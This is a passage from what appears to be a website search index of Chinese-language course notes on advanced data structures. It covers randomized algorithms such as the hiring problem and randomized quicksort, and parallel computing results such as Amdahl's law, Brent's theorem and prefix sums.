\u8fd9\u79cd\u7b97\u6cd5\u5728\u6bcf\u6b21\u8fd0\u884c\u65f6\u90fd\u4f1a\u4f7f\u7528\u968f\u673a\u6027\uff0c\u4f46\u5b83\u4e0d\u4e00\u5b9a\u80fd\u627e\u5230\u4e00\u4e2a\u6b63\u786e\u7684\u89e3\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u8499\u7279\u5361\u7f57\u7b97\u6cd5\u7684\u8f93\u51fa\u53ef\u80fd\u4e0d\u6b63\u786e\uff0c\u4f46\u8fd0\u884c\u65f6\u95f4\u901a\u5e38\u662f\u56fa\u5b9a\u7684\u3002\u4e00\u4e2a\u5178\u578b\u7684\u4f8b\u5b50\u662f\u8499\u7279\u5361\u7f57\u65b9\u6cd5\u5728\u8ba1\u7b97\u9ad8\u7ef4\u79ef\u5206\u65f6\u8868\u73b0\u51fa\u8272\u3002(efficient randomized algorithms that only need to yield the correct answer with high probability)</p> </li> </ol>"},{"location":"NOTE/ADS/wk12/#the-hiring-problem","title":"\u96c7\u4f63\u95ee\u9898(The Hiring Problem)","text":"<ul> <li>\u4ece\u730e\u5934\u516c\u53f8\u96c7\u4f63\u4e00\u540d\u529e\u516c\u5ba4\u52a9\u7406</li> <li>\u6bcf\u5929\u9762\u8bd5\u4e0d\u540c\u7684\u7533\u8bf7\u8005\uff0c\u6301\u7eed \\(N\\) \u5929</li> <li>\u9762\u8bd5\u6210\u672c \\(C_i\\) \u8fdc\u5c0f\u4e8e \u96c7\u4f63\u6210\u672c \\(C_h\\)</li> <li>\u5206\u6790\u9762\u8bd5\u548c\u96c7\u4f63\u6210\u672c\u800c\u4e0d\u662f\u8fd0\u884c\u65f6\u95f4</li> </ul> <p>\u5047\u8bbe\u96c7\u4f63\u4e86 \\(M\\) \u4e2a\u4eba\u3002 \u603b\u6210\u672c\uff1a\\(O(NC_i + MC_h)\\)</p> <p>Naive solution:</p> <pre><code>int Hiring ( EventType C[ ], int N )\n{   /* candidate 0 is a least-qualified dummy candidate */\n    int Best = 0;\n    int BestQ = the quality of candidate 0;\n    for ( i=1; i&lt;=N; i++ ) {\n        Qi = interview( i ); /* Ci */\n        if ( Qi &gt; BestQ ) {\n            BestQ = Qi;\n            Best = i;\n            hire( i );  /* Ch */\n        }\n    }\n    return Best;\n}\n</code></pre> <p>\u6700\u574f\u60c5\u51b5\u662f\u9762\u8bd5\u8005\u59cb\u7ec8\u6bd4\u524d\u4e00\u4e2a\u9762\u8bd5\u8005\u4f18\u79c0\uff0c\u90a3\u4e48\u9700\u8981\u9762\u8bd5 \\(N\\) \u6b21\uff0c\u96c7\u4f63 \\(N\\) \u6b21\uff0c\u603b\u6210\u672c\u4e3a \\(O(NC_h)\\)\u3002</p> <p>\u5047\u8bbe\\(N\\)\u4e2a\u9762\u8bd5\u8005\u4ee5\u968f\u673a\u987a\u5e8f\u88ab\u8bd5\uff0c\u524d\\(i\\)\u4e2a\u5019\u9009\u4eba\u4e2d\u7684\u4efb\u4f55\u4e00\u4e2a\u90fd\u540c\u6837\u6709\u53ef\u80fd\u662f\u8fc4\u4eca\u4e3a\u6b62\u6700\u5408\u683c\u7684\u3002</p> <p>\u5373\u7b2c\\(i\\)\u4e2a\u4eba\u88ab\u9009\u4e2d\u7684\u6982\u7387\u76f8\u5f53\u4e8e\\(i\\)\u4e2a\u7403\u7684\u76d2\u5b50\u4e2d\u968f\u673a\u62bd\u53d6\u4e00\u4e2a\u7403\uff0c\u62bd\u5230\u6700\u597d\u7403\u7684\u6982\u7387\uff0c\u4e3a\\(\\frac{1}{i}\\)\u3002</p> <p>\u5b9a\u4e49\u968f\u673a\u53d8\u91cf\\(X_i\\)</p> <p>\u5b9a\u4e49\u968f\u673a\u53d8\u91cf \\(X_i\\) \u5982\u4e0b\uff1a</p> \\[ X_i =  \\begin{cases}  1, &amp; \\text{\u5982\u679c\u7b2c } i \\text{ \u4e2a\u5019\u9009\u4eba\u88ab\u96c7\u4f63} \\\\ 0, &amp; \\text{\u5982\u679c\u7b2c } i \\text{ \u4e2a\u5019\u9009\u4eba\u672a\u88ab\u96c7\u4f63} \\end{cases} \\] <p>\u5019\u9009\u4eba \\(i\\) \u88ab\u96c7\u4f63\u7684\u6982\u7387\u4e3a \\(\\frac{1}{i}\\)\u3002</p> <p>\u603b\u7684\u96c7\u4f63\u6b21\u6570 \\(X\\) \u4e3a\uff1a</p> \\[ X = \\sum_{i=1}^{N} X_i \\] <p>\u671f\u671b\u503c\u4e3a\uff1a</p> \\[ E[X_i] = \\Pr[\\text{\u5019\u9009\u4eba } i \\text{ \u88ab\u96c7\u4f63}] \\] <p>\u56e0\u6b64\uff0c\u671f\u671b\u603b\u96c7\u4f63\u6b21\u6570\u4e3a\uff1a</p> \\[ E[X] = E\\left[\\sum_{i=1}^{N} X_i\\right] = \\sum_{i=1}^{N} E[X_i] = \\sum_{i=1}^{N} \\frac{1}{i} = \\ln N + O(1) \\] <p>\u603b\u6210\u672c\u4e3a \\(O(C_h \\ln N + NC_i)\\)\u3002</p> <pre><code>int RandomizedHiring ( EventType C[ ], int N )\n{   /* candidate 0 is a least-qualified dummy candidate */\n    int Best = 0;\n    int BestQ = the quality of candidate 0;\n\n    randomly permute the list of candidates;//takes time\n\n    for ( i=1; i&lt;=N; i++ ) {\n        Qi = interview( i ); /* Ci */\n        if ( Qi &gt; BestQ ) {\n            BestQ = Qi;\n            Best = i;\n            hire( i );  /* Ch */\n        }\n    }\n}\n</code></pre> <p>\u7b97\u6cd5\u7684\u5173\u952e\u5728\u4e8e\u751f\u6210\u968f\u673a\u6392\u5217\u3002</p> <p> Assign each element A[ i ] a random priority P[ i ],and sort </p> <pre><code>void PermuteBySorting ( ElemType A[ ], int N )\n{\n    for ( i=1; i&lt;=N; i++ )\n        A[i].P = 1 + rand()%(N^3); \n        /* makes it more likely that all priorities are unique */\n    Sort A, using P as the sort keys;\n}\n</code></pre> <p>\u5982\u679c\u53eaHire\u4e00\u4e2a\uff1a</p> <pre><code>int OnlineHiring ( EventType C[ ], int N, int k )\n{\n    int Best = N;\n    int BestQ = - \uf0a5 ;\n    for ( i=1; i&lt;=k; i++ ) {\n        Qi = interview( i );\n        if ( Qi &gt; BestQ )   BestQ = Qi;\n    }\n    for ( i=k+1; i&lt;=N; i++ ) {\n        Qi = interview( i );\n        if ( Qi &gt; BestQ ) {\n            Best = i;\n            break;\n        }\n    }\n    return Best;\n}\n</code></pre> <p>\u5148\u968f\u673a\u6311\u9009<code>k</code>\u4e2a\u9762\u8bd5\uff0c\u53d6\u51fa\u5176\u4e2d\u6700\u597d\u7684\uff0c\u7136\u540e\u4ece\u7b2c<code>k+1</code>\u4e2a\u5f00\u59cb\uff0c\u5982\u679c\u6bd4\u6700\u597d\u7684\u8fd8\u597d\u7684\u8bdd\uff0c\u5c31\u96c7\u4f63\u3002</p> <p>\\( S_i \\): \u7b2c \\( i \\) \u4e2a\u7533\u8bf7\u8005\u662f\u6700\u597d\u7684</p> <p>\u8981\u4f7f \\( S_i \\) \u6210\u7acb\uff0c\u9700\u8981\u6ee1\u8db3\uff1a</p> <ul> <li>\\( A \\): \u6700\u597d\u7684\u7533\u8bf7\u8005\u5728\u4f4d\u7f6e \\( i \\);\u6982\u7387\u4e3a \\(\\frac{1}{N}\\)</li> <li>\\( B \\): \u5728\u4f4d\u7f6e \\( k+1 \\) \u5230 \\( i-1 \\) \u6ca1\u6709\u4eba\u88ab\u96c7\u4f63\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c1\u5230 \\( i-1 \\) \u4e2d\u6ca1\u6709\u6bd4\u6311\u51fa\u7684 \\( k \\) \u4e2a\u66f4\u597d\u7684(\u524d \\( i-1 \\) \u4e2a\u4e2d\u6700\u597d\u7684\u5728\\(k\\)\u4e2a\u4e2d)\uff0c\u6982\u7387\u4e3a \\(\\frac{k}{(i-1)}\\)</li> </ul> <p>\u6982\u7387\u8ba1\u7b97\uff1a</p> \\[ \\Pr[S_i] = \\Pr[A \\cap B] = \\Pr[A] \\cdot \\Pr[B] = \\frac{1}{N} \\cdot \\frac{k}{(i-1)} = \\frac{k}{N(i-1)} \\] \\[     \\Pr[S]= \\sum_{i=k+1}^{N} \\Pr[S_i] =\\frac{k}{N} \\sum_{i=k}^{N-1} \\frac{1}{i} \\] <p>\u5176\u88ab\u4ee5\u4e0b\u8fd9\u4e2a\u79ef\u5206\u5f0f\u5b50bound\u4f4f</p> \\[ \\int_{k}^{N} \\frac{1}{x} \\, dx \\leqslant \\sum_{i=k}^{N-1} \\frac{1}{i} \\leqslant \\int_{k-1}^{N-1} \\frac{1}{x} \\, dx \\] <p>\u5bf9\u4e8e\u7ed9\u5b9a\u7684 \\( k \\)\uff0c\u96c7\u4f63\u5230\u6700\u4f18\u5019\u9009\u4eba\u7684\u6982\u7387\u6ee1\u8db3\uff1a</p> \\[ \\frac{k}{N} \\ln\\left(\\frac{N}{k}\\right) \\leqslant  \\Pr[S] \\leqslant \\frac{k}{N} \\ln\\left(\\frac{N-1}{k-1}\\right) \\] <p>\u4e3a\u4e86\u6700\u5927\u5316\u8fd9\u4e2a\u6982\u7387\uff0c\u6211\u4eec\u9700\u8981\u627e\u5230\u6700\u4f73\u7684 \\( k \\) \u503c\uff1a</p> <p>\u901a\u8fc7\u6c42\u5bfc\u5e76\u8bbe\u5bfc\u6570\u4e3a\u96f6\uff0c\u6211\u4eec\u5f97\u5230\uff1a</p> \\[ \\frac{d}{dk} \\left[ \\frac{k}{N} \\ln\\left(\\frac{N}{k}\\right) \\right] = \\frac{1}{N} \\left( \\ln N - \\ln k - 1 \\right) = 0 \\] <p>\u8fd9\u610f\u5473\u7740\uff1a</p> \\[ \\ln k = \\ln N - 1 \\quad \\Rightarrow \\quad k = \\frac{N}{e} \\] <p>\u5e26\u5165</p> \\[     f(k) = \\frac{k}{N} \\ln\\left(\\frac{N}{k}\\right) \\Rightarrow  max(f(k)) = \\frac{1}{e} \\]"},{"location":"NOTE/ADS/wk12/#_2","title":"\u968f\u673a\u5316\u5feb\u901f\u6392\u5e8f","text":"<p>\u5bf9\u4e8e\u4f20\u7edf\u7684\u5feb\u901f\u6392\u5e8f\uff0c\u6700\u574f\u60c5\u51b5\u662f\u6bcf\u6b21\u9009\u62e9\u7684pivot\u90fd\u662f\u6700\u5c0f\u6216\u6700\u5927\u503c\uff0c\u5bfc\u81f4\u6bcf\u6b21\u5212\u5206\u90fd\u53ea\u80fd\u51cf\u5c11\u4e00\u4e2a\u5143\u7d20\uff0c\u5bfc\u81f4\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a\\(O(N^2)\\)\u3002</p> <p>\u5176\u5e73\u5747\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a\\(O(N\\log N)\\)\u3002</p> <p>\u5982\u679c\u6211\u4eec\u968f\u673a\u9009\u62e9pivot\uff0c\u5e76\u5e0c\u671b\u8fd9\u4e2apivot\u6ee1\u8db3\uff1a</p> <p>\u4e2d\u5fc3\u5206\u5272:= \u9009\u62e9\u4e00\u4e2a\u67a2\u8f74\uff0c\u4f7f\u5f97\u6bcf\u4e00\u4fa7\u81f3\u5c11\u5305\u542b \\(\\frac{n}{4}\\) \u4e2a\u5143\u7d20</p> <p>\u6539\u8fdb\u5feb\u901f\u6392\u5e8f:= \u5728\u9012\u5f52\u4e4b\u524d\u603b\u662f\u9009\u62e9\u4e00\u4e2a\u4e2d\u5fc3\u5206\u5272</p> <p>\u671f\u671b\u610f\u4e49\u4e0b\u4e24\u6b21\u9009\u4e2d</p> <p>The expected number of iterations needed until we find a central splitter is at most 2.</p> <p>\u6bcf\u4e00\u6b21\uff0c\u9009\u4e2d\u7684\u6982\u7387\u662f\\(\\frac{1}{2}\\)\uff0c\u9700\u8981\u9009\u4e00\u4e2a\u4e2d\u5fc3\u5206\u5272\uff0c\u6240\u4ee5n\u6b21\u4f2f\u52aa\u5229\u8bd5\u9a8c\u671f\u671b\u610f\u4e49\u4e0b\u9700\u8981\u9009\u4e24\u6b21\uff0cn=2\u3002 \u6216\u8005\uff0c\u4ee5\u51e0\u4f55\u5206\u5e03\u7684\u773c\u5149\u6765\u770b\uff0c\u6210\u529f\u7684\u6982\u7387\u662f\\(\\frac{1}{2}\\)\uff0c\u6240\u4ee5\u671f\u671b\u610f\u4e49\u4e0b\u9700\u8981\u9009\u4e24\u6b21\u3002</p> <p>\u5b9a\u4e49\uff1a</p> <p>Type \\( j \\): the subproblem \\( S \\) is of type \\( j \\) if \\( N \\left( \\frac{3}{4} \\right)^{j+1} \\leq |S| \\leq N \\left( \\frac{3}{4} \\right)^j \\)</p> <p>\u63a8\u51fa: There are at most \\( \\left( \\frac{4}{3} \\right)^{j+1} \\) subproblems of type \\( j \\).</p> <p>\u56e0\u4e3a\u4e0b\u754c\u8981\u5c0f\u4e8e\\(N\\)</p> <p>\u4e00\u4e2atypej\u7684\u671f\u671b\u6210\u672c\u4e3a</p> \\[ E[T_{\\text{type } j}] = O\\left(N \\left( \\frac{3}{4} \\right)^j \\right) \\times \\left( \\frac{4}{3} \\right)^{j+1} = O(N) \\] <p>\u4e0d\u540c\u7684type\u7684\u4e2a\u6570\u4e3a</p> <p>Number of different types = \\( \\log_{4/3} N = O(\\log N) \\)</p> <p>This results in a total complexity of \\( O(N \\log N) \\).</p>"},{"location":"NOTE/ADS/wk13/","title":"\u5e76\u884c\u7b97\u6cd5","text":"<p> \u7ea6 5345 \u4e2a\u5b57  10 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 19 \u5206\u949f</p> <p>\u5e76\u884c\u7b97\u6cd5\u7684\u8bbe\u8ba1\u662f\u4e3a\u4e86\u63d0\u9ad8\u8ba1\u7b97\u6548\u7387\u548c\u6027\u80fd\u3002\u968f\u7740\u6570\u636e\u91cf\u7684\u589e\u52a0\u548c\u8ba1\u7b97\u4efb\u52a1\u7684\u590d\u6742\u5316\uff0c\u5355\u4e00\u5904\u7406\u5668\u7684\u8ba1\u7b97\u80fd\u529b\u5df2\u7ecf\u65e0\u6cd5\u6ee1\u8db3\u9700\u6c42\u3002\u901a\u8fc7\u5e76\u884c\u7b97\u6cd5\uff0c\u53ef\u4ee5\u5c06\u4e00\u4e2a\u5927\u7684\u8ba1\u7b97\u4efb\u52a1\u5206\u89e3\u6210\u591a\u4e2a\u5c0f\u4efb\u52a1\uff0c\u5e76\u884c\u6267\u884c\uff0c\u4ece\u800c\u663e\u8457\u51cf\u5c11\u8ba1\u7b97\u65f6\u95f4 \u3002\u4ece\u800c\u66f4\u597d\u5229\u7528\u73b0\u4ee3\u8ba1\u7b97\u673a\u591a\u6838\u7684\u4f18\u52bf</p>"},{"location":"NOTE/ADS/wk13/#_2","title":"\u6982\u5ff5\u4e0e\u5b9a\u7406","text":"<p>Definition</p> <p>\u52a0\u901f\u6bd4 (Speedup)  \u662f\u6307\u5728\u5e76\u884c\u8ba1\u7b97\u4e2d\uff0c\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u65f6\u76f8\u5bf9\u4e8e\u4f7f\u7528\u4e00\u4e2a\u5904\u7406\u5668\u65f6\u7684\u6027\u80fd\u63d0\u5347\u6bd4\u4f8b\uff0c\u8bb0\u4e3a \\( S(p) \\)\uff0c</p> \\[ S(p) = \\frac{T_1}{T_p} \\] <p>\u5176\u4e2d \\( T_1 \\) \u662f\u4f7f\u7528\u4e00\u4e2a\u5904\u7406\u5668\u65f6\u7684\u8fd0\u884c\u65f6\u95f4\uff0c\\( T_p \\) \u662f\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u65f6\u7684\u8fd0\u884c\u65f6\u95f4\u3002</p> <p>\u7406\u60f3\u52a0\u901f\u6bd4:</p> \\[ S(p) = \\frac{T_1}{T_p} = p \\] <p>\u5185\u5b58\u5171\u4eab\u65b9\u5f0f</p> <ol> <li> <p>EREW (Exclusive Read Exclusive Write): \u6bcf\u4e2a\u5185\u5b58\u4f4d\u7f6e\u5728\u4efb\u610f\u65f6\u523b\u53ea\u80fd\u88ab\u4e00\u4e2a\u5904\u7406\u5668\u8bfb\u53d6\u6216\u5199\u5165\uff1b</p> </li> <li> <p>CREW (Concurrent Read Exclusive Write): \u6bcf\u4e2a\u5185\u5b58\u4f4d\u7f6e\u5728\u4efb\u610f\u65f6\u523b\u53ef\u4ee5\u88ab\u591a\u4e2a\u5904\u7406\u5668\u8bfb\u53d6\uff0c\u4f46\u53ea\u80fd\u88ab\u4e00\u4e2a\u5904\u7406\u5668\u5199\u5165\uff1b</p> </li> <li> <p>CRCW (Concurrent Read Concurrent Write): \u6bcf\u4e2a\u5185\u5b58\u4f4d\u7f6e\u5728\u4efb\u610f\u65f6\u523b\u53ef\u4ee5\u88ab\u591a\u4e2a\u5904\u7406\u5668\u8bfb\u53d6\u6216\u5199\u5165\uff0c\u56e0\u4e3a\u5199\u5165\u6d89\u53ca\u5230\u540c\u65f6\u5199\u5165\u4e0d\u540c\u503c\u53ef\u80fd\u9020\u6210\u7684\u51b2\u7a81\u3002\u56e0\u6b64\u5199\u5165\u7b56\u7565\u53ef\u4ee5\u5206\u5982\u4e0b\u4e09\u79cd:</p> <p>(a) CRCW-C (Common): \u6240\u6709\u5904\u7406\u5668\u5199\u5165\u7684\u503c\u76f8\u540c\u65f6\u624d\u4f1a\u5199\u5165\uff1b</p> <p>(b) CRCW-A (Arbitrary): \u6240\u6709\u5904\u7406\u5668\u5199\u5165\u7684\u503c\u53ef\u4ee5\u4e0d\u540c\uff0c\u4efb\u610f\u8bfb\u53d6\u5176\u4e2d\u4e00\u4e2a\u5199\u5165\u5373\u53ef\uff1b</p> <p>\u00a9 CRCW-P (Priority): \u6240\u6709\u5904\u7406\u5668\u5199\u5165\u7684\u503c\u53ef\u4ee5\u4e0d\u540c\uff0c\u4f46\u5b58\u5728\u4e00\u4e2a\u4f18\u5148\u7ea7\uff0c\u53ea\u6709\u4f18\u5148\u7ea7\u6700\u9ad8\u7684\u5199\u5165\u624d\u4f1a\u751f\u6548\u3002</p> </li> </ol> <p>\u963f\u59c6\u8fbe\u5c14\u5b9a\u5f8b</p> <p>\u8bbe \\( 0 \\leqslant f \\leqslant 1 \\) \u662f\u4e00\u4e2a\u7a0b\u5e8f\u4e2d\u5fc5\u987b\u4e32\u884c\u6267\u884c\u7684\u90e8\u5206\u7684\u6bd4\u4f8b\uff0c\u90a3\u4e48\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u7684\u6700\u5927\u52a0\u901f\u6bd4 \\( S(p) \\) \u6ee1\u8db3</p> \\[ S(p) = \\frac{1}{f + (1-f)/p} \\] <p>\u8bc1\u660e: \u8bbe\u6574\u4e2a\u7a0b\u5e8f\u4e2d\u4e32\u884c\u90e8\u5206\u7684\u65f6\u95f4\u4e3a \\( t \\)\uff0c\u90a3\u4e48\u4e32\u884c\u90e8\u5206\u7684\u65f6\u95f4\u4e3a \\( ft \\)\uff0c\u5e76\u884c\u90e8\u5206\u7684\u65f6\u95f4\u4e3a \\( (1-f)t \\)\u3002\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u65f6\uff0c\u4e32\u884c\u90e8\u5206\u7684\u65f6\u95f4\u4e0d\u53d8\uff0c\u800c\u5e76\u884c\u90e8\u5206\u7684\u65f6\u95f4\u6700\u5c11\u4e3a \\( (1-f)t/p \\)\uff0c\u56e0\u6b64\u603b\u7684\u65f6\u95f4\u6700\u5c11\u4e3a \\( ft + (1-f)t/p \\)\uff0c\u56e0\u6b64\u52a0\u901f\u6bd4\u6700\u5927\u4e3a</p> \\[ S(p) = \\frac{t}{ft + (1-f)t/p} = \\frac{1}{f + (1-f)/p} \\] <p>\u8fd9\u4e2a\u5b9a\u5f8b\u5047\u5b9a\u4e32\u884c\u90e8\u5206\u4e0d\u53ef\u72ec\u7acb\u4e8e\u95ee\u9898\u5927\u5c0f</p> <p>Gustafson\u5b9a\u5f8b</p> <p>\u8bbe\u67d0\u4e2a\u7a0b\u5e8f\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u5e76\u884c\u6267\u884c\u65f6\uff0c\u4e32\u884c\u90e8\u5206\u82b1\u8d39\u7684\u65f6\u95f4\u4e3a \\( f_1 \\)\uff08\u4e0d\u662f\u6bd4\u4f8b\uff09\uff0c\u5e76\u884c\u90e8\u5206\u82b1\u8d39\u7684\u65f6\u95f4\u4e3a \\( f_2 \\)\uff0c\u90a3\u4e48\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u7684\u6700\u5927\u52a0\u901f\u6bd4 \\( S(p) \\) \u6ee1\u8db3</p> \\[ S(p) = \\frac{f_1 + f_2 \\cdot p}{f_1 + f_2} \\] <p>\u8bc1\u660e: \u7531\u6b64\u53ef\u77e5\uff0c\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u5e76\u884c\u6267\u884c\u7684\u65f6\u95f4\u4e3a \\( T_p = f_1 + f_2 \\)\uff0c\u4f7f\u7528\u4e00\u4e2a\u5904\u7406\u5668\u5355\u4ef6\u6267\u884c\u7684\u65f6\u95f4\u5e94\u5f53\u4e3a \\( T_1 = f_1 + f_2 \\cdot p \\)\uff0c\u56e0\u6b64\u52a0\u901f\u6bd4\u4e3a</p> \\[ S(p) = \\frac{T_1}{T_p} = \\frac{f_1 + f_2 \\cdot p}{f_1 + f_2} \\] <p>\u5b59-\u502a\u5b9a\u5f8b</p> <p>\u5b9a\u7406 14.4 (\u5b59-\u502a\u5b9a\u5f8b, 1990) \u8bbe\u67d0\u4e2a\u7a0b\u5e8f\u4e32\u884c\u90e8\u5206\u5360\u6bd4\u4e3a \\( f \\)\uff0c\u5e76\u884c\u90e8\u5206\u5360\u6bd4\u4e3a \\( 1-f \\)\uff0c\u5185\u5b58\u53d7\u9650\u51fd\u6570\u4e3a \\( G(p) \\)\uff0c\u90a3\u4e48\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u7684\u6700\u5927\u52a0\u901f\u6bd4 \\( S(p) \\) \u6ee1\u8db3</p> \\[ S(p) = \\frac{f + (1-f) \\cdot G(p)}{f + \\frac{(1-f) \\cdot G(p)}{p}} \\] <p>Definition</p> \\[      D = T_{\\infty} \\] <p>\\(D\\) \u5177\u6709\u65e0\u7a77\u591a\u4e2a\u5904\u7406\u5668\u65f6\u7684\u65f6\u95f4</p> \\[     W = T_1 \\] <p>\\(W\\) \u662f\u4f7f\u7528\u4e00\u4e2a\u5904\u7406\u5668\u65f6\u7684\u65f6\u95f4</p> \\[     \\frac{D}{W} = \\frac{T_{\\infty}}{T_1} \\] <p>\u5b9a\u4e49\u4e3a\u7b97\u6cd5\u7684\u5e73\u5747\u5e76\u884c\u5ea6</p> <p>\u5e03\u4f26\u7279\u5b9a\u5f8b</p> <p>\u5b9a\u7406 14.5 (\u5e03\u4f26\u7279\u5b9a\u5f8b, Brent's Theorem) \u8bbe\u4e00\u4e2a\u5e76\u884c\u8ba1\u7b97\u7528\u5230\u7684\u5de5\u4f5c\u91cf\u4e3a \\( W \\)\uff0c\u5173\u952e\u8def\u5f84\u957f\u5ea6\u4e3a \\( D \\)\uff0c\u90a3\u4e48\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u7684\u5e76\u884c\u65f6\u95f4\u6ee1\u8db3\u5982\u4e0b\u4e0d\u7b49\u5f0f\uff1a</p> \\[ \\frac{W}{p} \\leqslant T_p \\leqslant \\frac{W - D}{p} + D \\] <p>\u8bc1\u660e: \u4e0b\u754c\u662f\u663e\u7136\u7684\uff0c\u56e0\u4e3a \\( T_p \\geqslant T_{\\infty} \\)\uff0c\u800c \\( T_{\\infty} \\) \u4e5f\u662f\u53d7\u7406\u60f3\u6a21\u578b\u52a0\u901f\u6bd4\u7684\u9650\u5236\u7684\uff0c\u56e0\u6b64 \\( T_p \\geqslant W/p \\)\u3002</p> <p>\u5bf9\u4e8e\u4e0a\u754c\uff0c\u56e0\u4e3a\u5173\u952e\u8def\u5f84\u957f\u5ea6\u4e3a \\( D \\)\uff0c\u56e0\u6b64\u80fd\u591f\u5e76\u884c\u6267\u884c\u7684\u8ba1\u7b97\u53ef\u4ee5\u5206\u4e3a \\( D \\) \u4e2a\u5185\u90e8\u4efb\u52a1\uff0c\u4e92\u76f8\u4e4b\u95f4\u6709\u524d\u540e\u7684\u4f9d\u8d56\uff0c\u8bbe\u6bcf\u4e2a\u9636\u6bb5\u7684\u5de5\u4f5c\u91cf\u4e3a \\( W_i \\)\uff0c\u5219\u6709</p> \\[ W = \\sum_{i=1}^{D} W_i \\] <p>\u4f7f\u7528 \\( p \\) \u4e2a\u5904\u7406\u5668\u65f6\uff0c\u6bcf\u4e00\u4e2a\u9636\u6bb5\u6240\u9700\u7684\u65f6\u95f4\u4e3a \\( \\lceil W_i/p \\rceil \\)\uff0c\u5411\u4e0a\u53d6\u6574\u7684\u539f\u56e0\u5728\u4e8e\uff0c\u6bcf\u4e2a\u9636\u6bb5\u7684\u5de5\u4f5c\u91cf\u53ef\u80fd\u4e0d\u80fd\u88ab\u6574\u9664\u3002\u56e0\u6b64\u5982\u679c\u4efb\u52a1\u5206\u6210\u4e86 7 \u4e2a\u4efb\u52a1\uff0c\u6bcf\u4e2a\u4efb\u52a1\u6709 3 \u4e2a\u5904\u7406\u5668\uff0c\u90a3\u4e48\u6bcf\u4e2a\u5904\u7406\u5668\u4f1a\u5206\u5230\u7684\u4efb\u52a1\u4e2a\u6570\u662f 2, 2, 3\u3002</p> <p>\u56e0\u6b64\u6211\u4eec\u9700\u8981\u7684\u65f6\u95f4\u5c31\u662f</p> \\[ T_p = \\sum_{i=1}^{D} \\left\\lceil \\frac{W_i}{p} \\right\\rceil = \\sum_{i=1}^{D} \\left( \\left\\lfloor \\frac{W_i - 1}{p} \\right\\rfloor + 1 \\right) \\leqslant \\sum_{i=1}^{D} \\left( \\frac{W_i - 1}{p} + 1 \\right) = \\frac{W - D}{p} + D. \\] <p>\u5176\u4e2d\u6211\u4eec\u4f7f\u7528\u4e86\u7b49\u5f0f</p> \\[ \\left\\lceil \\frac{x}{y} \\right\\rceil = \\left\\lfloor \\frac{x+y-1}{y} \\right\\rfloor + 1 \\]"},{"location":"NOTE/ADS/wk13/#_3","title":"\u524d\u7f00\u548c\u95ee\u9898","text":"<p>\u9996\u5148\uff0c\u5bf9\u4e8e\u6c42\u548c\u95ee\u9898\uff0c\u53ef\u4ee5\u8f6c\u6362\u4e3a\u4e8c\u53c9\u6811\u7684\u6c42\u548c\u95ee\u9898\uff0c\u6bcf\u4e2a\u8282\u70b9\u8868\u793a\u4e00\u4e2a\u6c42\u548c\u64cd\u4f5c\uff0c\u6bcf\u4e2a\u8282\u70b9\u6709\u4e24\u4e2a\u5b50\u8282\u70b9\uff0c\u5206\u522b\u8868\u793a\u4e24\u4e2a\u6c42\u548c\u64cd\u4f5c\u3002</p> \u6c42\u548c\u95ee\u9898 <p>\u5bf9\u4e8e\u524d\u7f00\u548c\u95ee\u9898\uff0c\u5148\u5b9a\u4e49\u5982\u4e0b\u5f0f\u5b50</p> \\[     C(h,i) = \\sum_{k=0}^{\\alpha} A(k) \\] <p>\u5176\u4e2d \\( h \\) \u8868\u793a\u6811\u7684\u9ad8\u5ea6\uff0c\\( i \\) \u8868\u793a\u6811\u7684\u7b2c \\( i \\) \u4e2a\u8282\u70b9\uff0c\\( \\alpha \\) \u8868\u793a\u6811\u7684\u6700\u53f3\u4e0b\u89d2\u8282\u70b9\u7684 \\( i \\) \u503c\uff0c\\( A(k) \\) \u8868\u793a\u6570\u7ec4 \\( A \\) \u7684\u7b2c \\( k \\) \u4e2a\u5143\u7d20\u3002</p> <p>\u5728\u8ba1\u7b97\u524d\u7f00\u548c\u65f6\uff0c\u5148\u4ece\u4e0a\u5f80\u4e0b\u8ba1\u7b97\u5f97\u5230\u6bcf\u4e00\u4e2a\u90e8\u5206\u548c\u7684\\(B\\)\u503c\uff0c\u7136\u540e\u4ece\u4e0b\u5f80\u4e0a\u8ba1\u7b97\u5f97\u5230\u6bcf\u4e00\u4e2a\u90e8\u5206\u548c\u7684\\(C\\)\u503c\u3002</p> <p>\u5e76\u4e14\u8fd0\u7528\u4ee5\u4e0b\u6027\u8d28</p> <ol> <li> <p>\u5982\u679c \\( i = 1 \\)\uff0c\u90a3\u4e48 \\( C(h, i) = B(h, i) \\)\uff0c\u8fd9\u662f\u56e0\u4e3a \\( i = 1 \\) \u7684\u65f6\u5019\uff0c\u6839\u636e\u5b9a\u4e49\uff0c\\( C(h, 1) \\) \u662f\u4ece\u7b2c 1 \u4e2a\u5143\u7d20\u52a0\u5230\u8fd9 \\( i \\) \u70b9\u4e3a\u6839\u7684\u5b50\u6811\u53f3\u4e0b\u89d2\u7684\u53f6\u5b50\u8282\u70b9\u3002\u800c \\( B(h, 1) \\) \u5b9e\u9645\u4e0a\u4e5f\u5c31\u662f\u4ece\u7b2c\u4e00\u4e2a\u5143\u7d20\u52a0\u5230\u8fd9 \\( i \\) \u70b9\u4e3a\u6839\u7684\u5b50\u6811\u53f3\u4e0b\u89d2\u7684\u53f6\u5b50\uff08\u770b\u56fe\u53ef\u4ee5\u5f88\u6e05\u695a\u5730\u770b\u51fa\uff09\u3002</p> </li> <li> <p>\u5982\u679c \\( i \\) \u662f\u5076\u6570\uff0c\u8fd9\u8868\u660e\u8fd9 \\( i \\) 